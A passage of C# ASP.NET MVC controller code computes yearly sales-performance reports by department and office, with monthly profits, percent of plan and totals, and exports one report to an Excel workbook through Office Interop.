Perform = ReportProcess.ElementAt(i).ProfitSale + ReportProcess.ElementAt(i).ProfitHandel;
TotalPerform += Perform;
TotalEachMonth[i + 1] += Perform;
}
Perform = ReportProcess.ElementAt(0).ProfitSale + ReportProcess.ElementAt(0).ProfitHandel;
ReportYearModel1.Jan = Perform.ToString();
ReportYearModel2.Jan = divisible(Perform * 100, TotalPlanYear).ToString("0.00") + "%";
Perform = ReportProcess.ElementAt(1).ProfitSale + ReportProcess.ElementAt(1).ProfitHandel;
ReportYearModel1.Feb = Perform.ToString();
ReportYearModel2.Feb = divisible(Perform * 100, TotalPlanYear).ToString("0.00") + "%";
Perform = ReportProcess.ElementAt(2).ProfitSale + ReportProcess.ElementAt(2).ProfitHandel;
ReportYearModel1.Mar = Perform.ToString();
ReportYearModel2.Mar = divisible(Perform * 100, TotalPlanYear).ToString("0.00") + "%";
Perform = ReportProcess.ElementAt(3).ProfitSale + ReportProcess.ElementAt(3).ProfitHandel;
ReportYearModel1.Apr = Perform.ToString();
ReportYearModel2.Apr = divisible(Perform * 100, TotalPlanYear).ToString("0.00") + "%";
Perform = ReportProcess.ElementAt(4).ProfitSale + ReportProcess.ElementAt(4).ProfitHandel;
ReportYearModel1.May = Perform.ToString();
ReportYearModel2.May = divisible(Perform * 100, TotalPlanYear).ToString("0.00") + "%";
Perform = ReportProcess.ElementAt(5).ProfitSale + ReportProcess.ElementAt(5).ProfitHandel;
ReportYearModel1.Jun = Perform.ToString();
ReportYearModel2.Jun = divisible(Perform * 100, TotalPlanYear).ToString("0.00") + "%";
Perform = ReportProcess.ElementAt(6).ProfitSale + ReportProcess.ElementAt(6).ProfitHandel;
ReportYearModel1.Jul = Perform.ToString();
ReportYearModel2.Jul = divisible(Perform * 100, TotalPlanYear).ToString("0.00") + "%";
Perform = ReportProcess.ElementAt(7).ProfitSale + ReportProcess.ElementAt(7).ProfitHandel;
ReportYearModel1.Aug = Perform.ToString();
ReportYearModel2.Aug = divisible(Perform * 100, TotalPlanYear).ToString("0.00") + "%";
Perform = ReportProcess.ElementAt(8).ProfitSale + ReportProcess.ElementAt(8).ProfitHandel;
ReportYearModel1.Sep = Perform.ToString();
ReportYearModel2.Sep = divisible(Perform * 100, TotalPlanYear).ToString("0.00") + "%";
Perform = ReportProcess.ElementAt(9).ProfitSale + ReportProcess.ElementAt(9).ProfitHandel;
ReportYearModel1.Oct = Perform.ToString();
ReportYearModel2.Oct = divisible(Perform * 100, TotalPlanYear).ToString("0.00") + "%";
Perform = ReportProcess.ElementAt(10).ProfitSale + ReportProcess.ElementAt(10).ProfitHandel;
ReportYearModel1.Nov = Perform.ToString();
ReportYearModel2.Nov = divisible(Perform * 100, TotalPlanYear).ToString("0.00") + "%";
Perform = ReportProcess.ElementAt(11).ProfitSale + ReportProcess.ElementAt(11).ProfitHandel;
ReportYearModel1.Dec = Perform.ToString();
ReportYearModel2.Dec = divisible(Perform * 100, TotalPlanYear).ToString("0.00") + "%";
ReportYearModel1.Total = TotalPerform + "";
ReportYearModel1.Remain = rounFloor(TotalPlanYear - TotalPerform).ToString("0.00") + "";
ReportYearModel2.Total = divisible(TotalPerform * 100, TotalPlanYear).ToString("0.00") + "%";
ReportYearModel2.Remain = rounFloor(100 - divisible(TotalPerform * 100, TotalPlanYear)).ToString("0.00") + "%";
TotalEachMonth[0] += TotalPlanYear;
TotalEachMonth[13] += TotalPerform;
ListReport1.Add(ReportYearModel1);
ListReport2.Add(ReportYearModel2);
}
ReportYearModel1 = new ReportYearModel();
ReportYearModel2 = new ReportYearModel();
ReportYearModel1.Plan = TotalEachMonth[0] + "";
ReportYearModel1.PlanPerMonth = (TotalEachMonth[0] / 12).ToString("0");
ReportYearModel1.Total = "" + TotalEachMonth[13];
ReportYearModel1.Remain = "" + rounFloor(TotalEachMonth[0] - TotalEachMonth[13]);
ReportYearModel2.Total = divisible(TotalEachMonth[13] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
ReportYearModel2.Remain = rounFloor(100 - divisible(TotalEachMonth[13] * 100, TotalEachMonth[0])).ToString("0.00") + "%";
ReportYearModel1.Jan = TotalEachMonth[1].ToString();
ReportYearModel2.Jan = divisible(TotalEachMonth[1] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
ReportYearModel1.Feb = TotalEachMonth[2].ToString();
ReportYearModel2.Feb = divisible(TotalEachMonth[2] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
ReportYearModel1.Mar = TotalEachMonth[3].ToString();
ReportYearModel2.Mar = divisible(TotalEachMonth[3] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
ReportYearModel1.Apr = TotalEachMonth[4].ToString();
ReportYearModel2.Apr = divisible(TotalEachMonth[4] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
ReportYearModel1.May = TotalEachMonth[5].ToString();
ReportYearModel2.May = divisible(TotalEachMonth[5] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
ReportYearModel1.Jun = TotalEachMonth[6].ToString();
ReportYearModel2.Jun = divisible(TotalEachMonth[6] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
ReportYearModel1.Jul = TotalEachMonth[7].ToString();
ReportYearModel2.Jul = divisible(TotalEachMonth[7] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
ReportYearModel1.Aug = TotalEachMonth[8].ToString();
ReportYearModel2.Aug = divisible(TotalEachMonth[8] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
ReportYearModel1.Sep = TotalEachMonth[9].ToString();
ReportYearModel2.Sep = divisible(TotalEachMonth[9] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
ReportYearModel1.Oct = TotalEachMonth[10].ToString();
ReportYearModel2.Oct = divisible(TotalEachMonth[10] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
ReportYearModel1.Nov = TotalEachMonth[11].ToString();
ReportYearModel2.Nov = divisible(TotalEachMonth[11] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
ReportYearModel1.Dec = TotalEachMonth[12].ToString();
ReportYearModel2.Dec = divisible(TotalEachMonth[12] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
ReportYearModel1.SaleName = "Total";
ReportYearModel2.SaleName = "Total";
ListReport1.Add(ReportYearModel1);
ListReport2.Add(ReportYearModel2);
ViewData["ListReport1"] = ListReport1;
ViewData["ListReport2"] = ListReport2;
return View(model);
}
//Offices Report
public ActionResult OfficeReportExcel()
{
OfficeReportModel model = (OfficeReportModel)Session["OfficeReportModel"];
int CellX = 3;
int CellY = 5;
int MaxSaleType = 4;
int Year = model.Year;
int OfficeId = model.OfficeId;
IEnumerable<PerformanceReport> ReportsResult = ReportService1.getSaleReportOffice(OfficeId, Year);
List<PerformanceReport> ReportProcess = new List<PerformanceReport>(12);
ReportProcess = reportProcessNew(ReportsResult);
string RealPath = Path.Combine(Server.MapPath("~/" + "/FileManager/Reports")
, Path.GetFileName("OfficeReport.xls"));
Application xl = new Application();
Workbook wb = xl.Workbooks.Open(RealPath, 0, false, 5, "", "", true, XlPlatform.xlWindows, "\t", false, false, 0, true, 1, 0);
int pos = 0;
pos = RealPath.LastIndexOf("\\");
String tamplePath = RealPath.Substring(0, pos + 1) + "OfficeTemReport.xls";
FileInfo fileInfo = new FileInfo(tamplePath);
if (fileInfo.Exists)
{
fileInfo.Delete();
}
wb.SaveAs(tamplePath);
Sheets xlsheets = wb.Sheets; //Get the sheets from workbook
Worksheet excelWorksheet = (Worksheet)xlsheets[1];
#region processing excel
//View data for Report
excelWorksheet.Cells[4][2] = "YEARLY REPORT " + DateTime.Now.Year;
excelWorksheet.Cells[2][5] = "Year Plan " + DateTime.Now.Year;
int totalSaleType = ReportProcess.ElementAt(0).PerformModels.Count;
double[] TotalProfiltSaleTypes = new double[totalSaleType];
double TotalPlan = 0, TotalProfilt = 0;
for (int i = 0; i < 12; i++)
{
TotalPlan += ReportProcess.ElementAt(i).Plan;
for (int ti = 0; ti < totalSaleType; ti++)
{
TotalProfiltSaleTypes[ti] += ReportProcess.ElementAt(i).PerformModels.ElementAt(ti).Profit;
TotalProfilt += ReportProcess.ElementAt(i).PerformModels.ElementAt(ti).Profit;
}
}
for (int i = 0; i < 12; i++)
{
//TotalHandel += ReportProcess.ElementAt(i).ProfitHandel;
//TotalSale += ReportProcess.ElementAt(i).ProfitSale;
excelWorksheet.Cells[CellX + i][CellY] = ReportProcess.ElementAt(i).Plan;
for (int ti = 0; ti < totalSaleType; ti++)
{
excelWorksheet.Cells[CellX - 1][CellY + ti * 2 + 1] = "Profit Of " + ReportProcess.ElementAt(i).PerformModels.ElementAt(ti).SaleType;
excelWorksheet.Cells[CellX - 1][CellY + ti * 2 + 2] = "Perform Of " + ReportProcess.ElementAt(i).PerformModels.ElementAt(ti).SaleType + "(%)";
excelWorksheet.Cells[CellX + i][CellY + ti * 2 + 1] = ReportProcess.ElementAt(i).PerformModels.ElementAt(ti).Profit;
excelWorksheet.Cells[CellX + i][CellY + ti * 2 + 2] = ReportProcess.ElementAt(i).PerformModels.ElementAt(ti).Perform.ToString("0.00") + "%";
excelWorksheet.Cells[15][CellY + ti * 2 + 1] = TotalProfiltSaleTypes[ti];
excelWorksheet.Cells[15][CellY + ti * 2 + 2] = divisible(TotalProfiltSaleTypes[ti] * 100, TotalPlan).ToString("0.00") + "%";
}
//excelWorksheet.Cells[CellX + i][CellY + 3] = ReportProcess.ElementAt(i).ProfitHandel;
//excelWorksheet.Cells[CellX + i][CellY + 4] = ReportProcess.ElementAt(i).PerformPH.ToString("0.00") + "%";
excelWorksheet.Cells[CellX + i][CellY + MaxSaleType * 2 + 1] = ReportProcess.ElementAt(i).SumProfit;
excelWorksheet.Cells[CellX + i][CellY + MaxSaleType * 2 + 2] = ReportProcess.ElementAt(i).PerformSumProfit.ToString("0.00") + "%";
}
excelWorksheet.Cells[15][CellY] = TotalPlan;
//excelWorksheet.Cells[15][CellY + 1] = TotalSale;
// excelWorksheet.Cells[15][CellY + 2] = divisible(TotalSale * 100, TotalPlan).ToString("0.00") + "%";
//excelWorksheet.Cells[15][CellY + 3] = TotalHandel;
//excelWorksheet.Cells[15][CellY + 4] = divisible(TotalHandel * 100, TotalPlan).ToString("0.00") + "%";
excelWorksheet.Cells[15][CellY + MaxSaleType * 2 + 1] = TotalProfilt;
excelWorksheet.Cells[15][CellY + MaxSaleType * 2 + 2] = divisible(TotalProfilt * 100, TotalPlan).ToString("0.00") + "%";
//delete redundant cell in excel hard line max 4
for (int ec = 4; ec > totalSaleType; ec--)
{
((Range)excelWorksheet.Rows.get_Item(5 + ec * 2)).Delete();
((Range)excelWorksheet.Rows.get_Item(5 + ec * 2 - 1)).Delete();
}
#endregion
#region Sheet2processing
excelWorksheet = (Worksheet)xlsheets[2];
EntitySet<Department> ListDept = UserService1.getCompanyById(model.OfficeId).Departments;
int SaleCount = 0;
int PerSaleCount = 0;
int TotalRowBegin = 6;
double[] TotalEachMonth = new double[14];
foreach (Department DepartmentItem in ListDept)
{
long Id = DepartmentItem.Id;
double TotalPlanYear = UserService1.getReportYearDept(Id, Year);
Range rangInsert = (Range)excelWorksheet.Rows.get_Item(TotalRowBegin + SaleCount);
rangInsert.Insert(Microsoft.Office.Interop.Excel.XlInsertShiftDirection.xlShiftDown);
Range rangWasInsert = (Range)excelWorksheet.Rows.get_Item(TotalRowBegin + SaleCount);
SaleCount++;
PerSaleCount++;
Range rangPerInsert = (Range)excelWorksheet.Rows.get_Item(9 + PerSaleCount);
rangPerInsert.Insert(Microsoft.Office.Interop.Excel.XlInsertShiftDirection.xlShiftDown);
Range rangPerWasInsert = (Range)excelWorksheet.Rows.get_Item(9 + PerSaleCount);
PerSaleCount++;
rangWasInsert.Cells[3] = DepartmentItem.DeptName;
rangPerWasInsert.Cells[5] = DepartmentItem.DeptName;
rangWasInsert.Cells[4] = TotalPlanYear;
rangWasInsert.Cells[5] = TotalPlanYear / 12;
ReportsResult = ReportService1.getSaleReportDept(Id, Year);
ReportProcess = reportProcessNew(ReportsResult);
double TotalPerform = 0;
for (int i = 0; i < 12; i++)
{
double Perform = ReportProcess.ElementAt(i).ProfitSale + ReportProcess.ElementAt(i).ProfitHandel;
rangWasInsert.Cells[6 + i] = Perform;
rangPerWasInsert.Cells[6 + i] = divisible(Perform * 100, TotalPlanYear).ToString("0.00") + "%";
TotalPerform += Perform;
TotalEachMonth[i + 1] += Perform;
}
rangWasInsert.Cells[18] = "'" + TotalPerform;
rangWasInsert.Cells[19] = "'" + rounFloor(TotalPlanYear - TotalPerform);
rangPerWasInsert.Cells[18] = divisible(TotalPerform * 100, TotalPlanYear).ToString("0.00") + "%";
rangPerWasInsert.Cells[19] = rounFloor(100 - (divisible(TotalPerform * 100, TotalPlanYear))).ToString("0.00") + "%";
TotalEachMonth[0] += TotalPlanYear;
TotalEachMonth[13] += TotalPerform;
}
Range rangInsertT = (Range)excelWorksheet.Rows.get_Item(TotalRowBegin + SaleCount);
rangInsertT.Cells[4] = TotalEachMonth[0];
rangInsertT.Cells[5] = TotalEachMonth[0] / 12;
rangInsertT.Cells[18] = "'" + TotalEachMonth[13];
rangInsertT.Cells[19] = "'" + rounFloor(TotalEachMonth[0] - TotalEachMonth[13]);
Range rangPerInsertT = (Range)excelWorksheet.Rows.get_Item(9 + PerSaleCount);
rangPerInsertT.Cells[18] = divisible(TotalEachMonth[13] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
rangPerInsertT.Cells[19] = rounFloor(100 - (divisible(TotalEachMonth[13] * 100, TotalEachMonth[0]))).ToString("0.00") + "%";
for (int i = 0; i < 12; i++)
{
rangInsertT.Cells[6 + i] = TotalEachMonth[1 + i];
rangPerInsertT.Cells[6 + i] = divisible(TotalEachMonth[1 + i] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
}
#endregion
rangInsertT = (Range)excelWorksheet.Rows.get_Item(TotalRowBegin - 1);
rangInsertT.Delete();
rangInsertT = (Range)excelWorksheet.Rows.get_Item(TotalRowBegin + SaleCount + 1);
rangInsertT.Delete();
wb.Save();
wb.Close();
return File(tamplePath, "application/excel", "YearLyReport.xls");
}
public ActionResult OfficeReport()
{
int Year = DateTime.Now.Year;
OfficeReportModel model = new OfficeReportModel();
model.Year = DateTime.Now.Year;
model.OfficeId = (int)CurrenUser.Company.Id;
Session["OfficeReportModel"] = model;
IEnumerable<PerformanceReport> ReportsResult = ReportService1.getSaleReportOffice(model.OfficeId, Year);
List<PerformanceReport> ReportProcess = new List<PerformanceReport>(12);
ReportProcess = reportProcessNew(ReportsResult);
ViewData["ListOffices"] = new SelectList(UserService1.getAllCompany(), "Id", "CompanyName");
ViewData["ReportProcess"] = ReportProcess;
List<ReportYearModel> ListReport1 = new List<ReportYearModel>();
List<ReportYearModel> ListReport2 = new List<ReportYearModel>();
EntitySet<Department> ListDept = UserService1.getCompanyById(model.OfficeId).Departments;
double[] TotalEachMonth = new double[14];
ReportYearModel ReportYearModel1 = null;
ReportYearModel ReportYearModel2 = null;
foreach (Department DeptItem in ListDept)
{
if (!DeptItem.IsActive) continue;
ReportYearModel1 = new ReportYearModel();
ReportYearModel2 = new ReportYearModel();
long Id = DeptItem.Id;
double TotalPlanYear = UserService1.getReportYearDept(Id, Year);
ReportYearModel1.SaleName = DeptItem.DeptName;
ReportYearModel2.SaleName = DeptItem.DeptName;
ReportYearModel1.Plan = TotalPlanYear.ToString();
ReportYearModel1.PlanPerMonth = (TotalPlanYear / 12).ToString("0");
ReportsResult = ReportService1.getSaleReportDept(Id, Year);
ReportProcess = reportProcessNew(ReportsResult);
double TotalPerform = 0;
double Perform = 0;
for (int i = 0; i < 12; i++)
{
Perform = ReportProcess.ElementAt(i).ProfitSale + ReportProcess.ElementAt(i).ProfitHandel;
TotalPerform += Perform;
TotalEachMonth[i + 1] += Perform;
}
Perform = ReportProcess.ElementAt(0).ProfitSale + ReportProcess.ElementAt(0).ProfitHandel;
ReportYearModel1.Jan = Perform.ToString();
ReportYearModel2.Jan = divisible(Perform * 100, TotalPlanYear).ToString("0.00") + "%";
Perform = ReportProcess.ElementAt(1).ProfitSale + ReportProcess.ElementAt(1).ProfitHandel;
ReportYearModel1.Feb = Perform.ToString();
ReportYearModel2.Feb = divisible(Perform * 100, TotalPlanYear).ToString("0.00") + "%";
Perform = ReportProcess.ElementAt(2).ProfitSale + ReportProcess.ElementAt(2).ProfitHandel;
ReportYearModel1.Mar = Perform.ToString();
ReportYearModel2.Mar = divisible(Perform * 100, TotalPlanYear).ToString("0.00") + "%";
Perform = ReportProcess.ElementAt(3).ProfitSale + ReportProcess.ElementAt(3).ProfitHandel;
ReportYearModel1.Apr = Perform.ToString();
ReportYearModel2.Apr = divisible(Perform * 100, TotalPlanYear).ToString("0.00") + "%";
Perform = ReportProcess.ElementAt(4).ProfitSale + ReportProcess.ElementAt(4).ProfitHandel;
ReportYearModel1.May = Perform.ToString();
ReportYearModel2.May = divisible(Perform * 100, TotalPlanYear).ToString("0.00") + "%";
Perform = ReportProcess.ElementAt(5).ProfitSale + ReportProcess.ElementAt(5).ProfitHandel;
ReportYearModel1.Jun = Perform.ToString();
ReportYearModel2.Jun = divisible(Perform * 100, TotalPlanYear).ToString("0.00") + "%";
Perform = ReportProcess.ElementAt(6).ProfitSale + ReportProcess.ElementAt(6).ProfitHandel;
ReportYearModel1.Jul = Perform.ToString();
ReportYearModel2.Jul = divisible(Perform * 100, TotalPlanYear).ToString("0.00") + "%";
Perform = ReportProcess.ElementAt(7).ProfitSale + ReportProcess.ElementAt(7).ProfitHandel;
ReportYearModel1.Aug = Perform.ToString();
ReportYearModel2.Aug = divisible(Perform * 100, TotalPlanYear).ToString("0.00") + "%";
Perform = ReportProcess.ElementAt(8).ProfitSale + ReportProcess.ElementAt(8).ProfitHandel;
ReportYearModel1.Sep = Perform.ToString();
ReportYearModel2.Sep = divisible(Perform * 100, TotalPlanYear).ToString("0.00") + "%";
Perform = ReportProcess.ElementAt(9).ProfitSale + ReportProcess.ElementAt(9).ProfitHandel;
ReportYearModel1.Oct = Perform.ToString();
ReportYearModel2.Oct = divisible(Perform * 100, TotalPlanYear).ToString("0.00") + "%";
Perform = ReportProcess.ElementAt(10).ProfitSale + ReportProcess.ElementAt(10).ProfitHandel;
ReportYearModel1.Nov = Perform.ToString();
ReportYearModel2.Nov = divisible(Perform * 100, TotalPlanYear).ToString("0.00") + "%";
Perform = ReportProcess.ElementAt(11).ProfitSale + ReportProcess.ElementAt(11).ProfitHandel;
ReportYearModel1.Dec = Perform.ToString();
ReportYearModel2.Dec = divisible(Perform * 100, TotalPlanYear).ToString("0.00") + "%";
ReportYearModel1.Total = TotalPerform + "";
ReportYearModel1.Remain = rounFloor(TotalPlanYear - TotalPerform).ToString("0.00") + "";
ReportYearModel2.Total = divisible(TotalPerform * 100, TotalPlanYear).ToString("0.00") + "%";
ReportYearModel2.Remain = rounFloor(100 - divisible(TotalPerform * 100, TotalPlanYear)).ToString("0.00") + "%";
TotalEachMonth[0] += TotalPlanYear;
TotalEachMonth[13] += TotalPerform;
ListReport1.Add(ReportYearModel1);
ListReport2.Add(ReportYearModel2);
}
ReportYearModel1 = new ReportYearModel();
ReportYearModel2 = new ReportYearModel();
ReportYearModel1.Plan = TotalEachMonth[0] + "";
ReportYearModel1.PlanPerMonth = (TotalEachMonth[0] / 12).ToString("0");
ReportYearModel1.Total = "" + TotalEachMonth[13];
ReportYearModel1.Remain = "" + rounFloor(TotalEachMonth[0] - TotalEachMonth[13]);
ReportYearModel2.Total = divisible(TotalEachMonth[13] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
ReportYearModel2.Remain = rounFloor(100 - divisible(TotalEachMonth[13] * 100, TotalEachMonth[0])).ToString("0.00") + "%";
ReportYearModel1.Jan = TotalEachMonth[1].ToString();
ReportYearModel2.Jan = divisible(TotalEachMonth[1] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
ReportYearModel1.Feb = TotalEachMonth[2].ToString();
ReportYearModel2.Feb = divisible(TotalEachMonth[2] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
ReportYearModel1.Mar = TotalEachMonth[3].ToString();
ReportYearModel2.Mar = divisible(TotalEachMonth[3] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
ReportYearModel1.Apr = TotalEachMonth[4].ToString();
ReportYearModel2.Apr = divisible(TotalEachMonth[4] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
ReportYearModel1.May = TotalEachMonth[5].ToString();
ReportYearModel2.May = divisible(TotalEachMonth[5] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
ReportYearModel1.Jun = TotalEachMonth[6].ToString();
ReportYearModel2.Jun = divisible(TotalEachMonth[6] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
ReportYearModel1.Jul = TotalEachMonth[7].ToString();
ReportYearModel2.Jul = divisible(TotalEachMonth[7] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
ReportYearModel1.Aug = TotalEachMonth[8].ToString();
ReportYearModel2.Aug = divisible(TotalEachMonth[8] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
ReportYearModel1.Sep = TotalEachMonth[9].ToString();
ReportYearModel2.Sep = divisible(TotalEachMonth[9] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
ReportYearModel1.Oct = TotalEachMonth[10].ToString();
ReportYearModel2.Oct = divisible(TotalEachMonth[10] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
ReportYearModel1.Nov = TotalEachMonth[11].ToString();
ReportYearModel2.Nov = divisible(TotalEachMonth[11] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
ReportYearModel1.Dec = TotalEachMonth[12].ToString();
ReportYearModel2.Dec = divisible(TotalEachMonth[12] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
ReportYearModel1.SaleName = "Total";
ReportYearModel2.SaleName = "Total";
ListReport1.Add(ReportYearModel1);
ListReport2.Add(ReportYearModel2);
ViewData["ListReport1"] = ListReport1;
ViewData["ListReport2"] = ListReport2;
return View(model);
}
[HttpPost]
public ActionResult OfficeReport(OfficeReportModel model)
{
int Year = model.Year;
int OfficeId = model.OfficeId;
Session["OfficeReportModel"] = model;
IEnumerable<PerformanceReport> ReportsResult = ReportService1.getSaleReportOffice(OfficeId, Year);
List<PerformanceReport> ReportProcess = new List<PerformanceReport>(12);
ReportProcess = reportProcessNew(ReportsResult);
ViewData["ListOffices"] = new SelectList(UserService1.getAllCompany(), "Id", "CompanyName");
ViewData["ReportProcess"] = ReportProcess;
List<ReportYearModel> ListReport1 = new List<ReportYearModel>();
List<ReportYearModel> ListReport2 = new List<ReportYearModel>();
EntitySet<Department> ListDept = UserService1.getCompanyById(model.OfficeId).Departments;
double[] TotalEachMonth = new double[14];
ReportYearModel ReportYearModel1 = null;
ReportYearModel ReportYearModel2 = null;
foreach (Department DeptItem in ListDept)
{
if (!DeptItem.IsActive) continue;
ReportYearModel1 = new ReportYearModel();
ReportYearModel2 = new ReportYearModel();
long Id = DeptItem.Id;
double TotalPlanYear = UserService1.getReportYearDept(Id, Year);
ReportYearModel1.SaleName = DeptItem.DeptName;
ReportYearModel2.SaleName = DeptItem.DeptName;
ReportYearModel1.Plan = TotalPlanYear.ToString();
ReportYearModel1.PlanPerMonth = (TotalPlanYear / 12).ToString("0");
ReportsResult = ReportService1.getSaleReportDept(Id, Year);
ReportProcess = reportProcessNew(ReportsResult);
double TotalPerform = 0;
double Perform = 0;
for (int i = 0; i < 12; i++)
{
Perform = ReportProcess.ElementAt(i).ProfitSale + ReportProcess.ElementAt(i).ProfitHandel;
TotalPerform += Perform;
TotalEachMonth[i + 1] += Perform;
}
Perform = ReportProcess.ElementAt(0).ProfitSale + ReportProcess.ElementAt(0).ProfitHandel;
ReportYearModel1.Jan = Perform.ToString();
ReportYearModel2.Jan = divisible(Perform * 100, TotalPlanYear).ToString("0.00") + "%";
Perform = ReportProcess.ElementAt(1).ProfitSale + ReportProcess.ElementAt(1).ProfitHandel;
ReportYearModel1.Feb = Perform.ToString();
ReportYearModel2.Feb = divisible(Perform * 100, TotalPlanYear).ToString("0.00") + "%";
Perform = ReportProcess.ElementAt(2).ProfitSale + ReportProcess.ElementAt(2).ProfitHandel;
ReportYearModel1.Mar = Perform.ToString();
ReportYearModel2.Mar = divisible(Perform * 100, TotalPlanYear).ToString("0.00") + "%";
Perform = ReportProcess.ElementAt(3).ProfitSale + ReportProcess.ElementAt(3).ProfitHandel;
ReportYearModel1.Apr = Perform.ToString();
ReportYearModel2.Apr = divisible(Perform * 100, TotalPlanYear).ToString("0.00") + "%";
Perform = ReportProcess.ElementAt(4).ProfitSale + ReportProcess.ElementAt(4).ProfitHandel;
ReportYearModel1.May = Perform.ToString();
ReportYearModel2.May = divisible(Perform * 100, TotalPlanYear).ToString("0.00") + "%";
Perform = ReportProcess.ElementAt(5).ProfitSale + ReportProcess.ElementAt(5).ProfitHandel;
ReportYearModel1.Jun = Perform.ToString();
ReportYearModel2.Jun = divisible(Perform * 100, TotalPlanYear).ToString("0.00") + "%";
Perform = ReportProcess.ElementAt(6).ProfitSale + ReportProcess.ElementAt(6).ProfitHandel;
ReportYearModel1.Jul = Perform.ToString();
ReportYearModel2.Jul = divisible(Perform * 100, TotalPlanYear).ToString("0.00") + "%";
Perform = ReportProcess.ElementAt(7).ProfitSale + ReportProcess.ElementAt(7).ProfitHandel;
ReportYearModel1.Aug = Perform.ToString();
ReportYearModel2.Aug = divisible(Perform * 100, TotalPlanYear).ToString("0.00") + "%";
Perform = ReportProcess.ElementAt(8).ProfitSale + ReportProcess.ElementAt(8).ProfitHandel;
ReportYearModel1.Sep = Perform.ToString();
ReportYearModel2.Sep = divisible(Perform * 100, TotalPlanYear).ToString("0.00") + "%";
Perform = ReportProcess.ElementAt(9).ProfitSale + ReportProcess.ElementAt(9).ProfitHandel;
ReportYearModel1.Oct = Perform.ToString();
ReportYearModel2.Oct = divisible(Perform * 100, TotalPlanYear).ToString("0.00") + "%";
Perform = ReportProcess.ElementAt(10).ProfitSale + ReportProcess.ElementAt(10).ProfitHandel;
ReportYearModel1.Nov = Perform.ToString();
ReportYearModel2.Nov = divisible(Perform * 100, TotalPlanYear).ToString("0.00") + "%";
Perform = ReportProcess.ElementAt(11).ProfitSale + ReportProcess.ElementAt(11).ProfitHandel;
ReportYearModel1.Dec = Perform.ToString();
ReportYearModel2.Dec = divisible(Perform * 100, TotalPlanYear).ToString("0.00") + "%";
ReportYearModel1.Total = TotalPerform + "";
ReportYearModel1.Remain = rounFloor(TotalPlanYear - TotalPerform).ToString("0.00") + "";
ReportYearModel2.Total = divisible(TotalPerform * 100, TotalPlanYear).ToString("0.00") + "%";
ReportYearModel2.Remain = rounFloor(100 - divisible(TotalPerform * 100, TotalPlanYear)).ToString("0.00") + "%";
TotalEachMonth[0] += TotalPlanYear;
TotalEachMonth[13] += TotalPerform;
ListReport1.Add(ReportYearModel1);
ListReport2.Add(ReportYearModel2);
}
ReportYearModel1 = new ReportYearModel();
ReportYearModel2 = new ReportYearModel();
ReportYearModel1.Plan = TotalEachMonth[0] + "";
ReportYearModel1.PlanPerMonth = (TotalEachMonth[0] / 12).ToString("0");
ReportYearModel1.Total = "" + TotalEachMonth[13];
ReportYearModel1.Remain = "" + rounFloor(TotalEachMonth[0] - TotalEachMonth[13]);
ReportYearModel2.Total = divisible(TotalEachMonth[13] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
ReportYearModel2.Remain = rounFloor(100 - divisible(TotalEachMonth[13] * 100, TotalEachMonth[0])).ToString("0.00") + "%";
ReportYearModel1.Jan = TotalEachMonth[1].ToString();
ReportYearModel2.Jan = divisible(TotalEachMonth[1] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
ReportYearModel1.Feb = TotalEachMonth[2].ToString();
ReportYearModel2.Feb = divisible(TotalEachMonth[2] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
ReportYearModel1.Mar = TotalEachMonth[3].ToString();
ReportYearModel2.Mar = divisible(TotalEachMonth[3] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
ReportYearModel1.Apr = TotalEachMonth[4].ToString();
ReportYearModel2.Apr = divisible(TotalEachMonth[4] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
ReportYearModel1.May = TotalEachMonth[5].ToString();
ReportYearModel2.May = divisible(TotalEachMonth[5] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
ReportYearModel1.Jun = TotalEachMonth[6].ToString();
ReportYearModel2.Jun = divisible(TotalEachMonth[6] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
ReportYearModel1.Jul = TotalEachMonth[7].ToString();
ReportYearModel2.Jul = divisible(TotalEachMonth[7] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
ReportYearModel1.Aug = TotalEachMonth[8].ToString();
ReportYearModel2.Aug = divisible(TotalEachMonth[8] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
ReportYearModel1.Sep = TotalEachMonth[9].ToString();
ReportYearModel2.Sep = divisible(TotalEachMonth[9] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
ReportYearModel1.Oct = TotalEachMonth[10].ToString();
ReportYearModel2.Oct = divisible(TotalEachMonth[10] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
ReportYearModel1.Nov = TotalEachMonth[11].ToString();
ReportYearModel2.Nov = divisible(TotalEachMonth[11] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
ReportYearModel1.Dec = TotalEachMonth[12].ToString();
ReportYearModel2.Dec = divisible(TotalEachMonth[12] * 100, TotalEachMonth[0]).ToString("0.00") + "%";
ReportYearModel1.SaleName = "Total";
ReportYearModel2.SaleName = "Total";
ListReport1.Add(ReportYearModel1);
ListReport2.Add(ReportYearModel2);
